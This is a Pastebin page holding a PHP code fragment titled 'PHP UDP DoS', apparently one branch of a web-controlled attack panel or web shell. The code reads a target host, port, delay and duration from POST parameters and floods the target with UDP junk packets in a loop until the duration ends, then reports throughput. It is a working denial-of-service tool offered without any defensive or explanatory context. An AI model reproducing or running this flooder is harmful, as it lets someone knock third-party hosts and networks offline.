Advertisement
captmicro

PHP UDP DoS

Jun 25th, 2011
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.34 KB | None | 0 0
  1. elseif (isset($_POST["exec_dosudp"])) {
  2.     set_time_limit(0);
  3.     if (!chkfunc("fsockopen")) exit("Cannot create socket");
  4.     $target = $_POST["text"];
  5.     $port = intval($_POST["text_port"]);
  6.     $dly = intval($_POST["text_dly"]) * 10;
  7.     $dur = intval($_POST["text_dur"]);
  8.     $data = "YOU CANT HAS CUPCAKE!";
  9.     if ($port == 0) exit("Port cannot be 0");
  10.     if ($dur == 0) exit("Durration cannot be 0");
  11.     $indos = true;
  12.     $start = microtime_flt(); $chktime = 0;
  13.     $totalpackets = 0;
  14.     $failcount = 0;
  15.     $junk = $data;
  16.     $junklen = 128-strlen($data);
  17.     for ($i = 0; $i < $junklen; $i++) $junk .= chr(rand(33,126));
  18.     echo "Starting DoS\n";
  19.     echo "Junk: \"$junk\"\n";
  20.     while ($indos) {
  21.         if ($port == 0) $port = rand(1024, 65000);
  22.         $sock = fsockopen("udp://" . $target, $port, $errno, $errstr, 30); //30sec
  23.         if (!$sock) {
  24.             $failcount++;
  25.             if ($failcount > 15) exit("Failed to connect");
  26.             else continue;
  27.         }
  28.         if (chkfunc("stream_set_blocking")) @stream_set_blocking($sock, 0);
  29.         if (chkfunc("stream_set_timeout")) @stream_set_timeout($sock, 30); //30sec
  30.         for ($i = 0; $i < 64; $i++) $totalpackets += fwrite($sock, $junk);
  31.         fclose($sock);
  32.         $chktime = round(microtime_flt() - $start);
  33.         if ($chktime > $dur) $indos = false;
  34.         usleep($dly);
  35.     }
  36.     $speed = round(($totalpackets / $chktime) / 1024, 2);
  37.     echo "DoS complete\n";
  38.     echo "Avg speed: $speed KB/s";
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement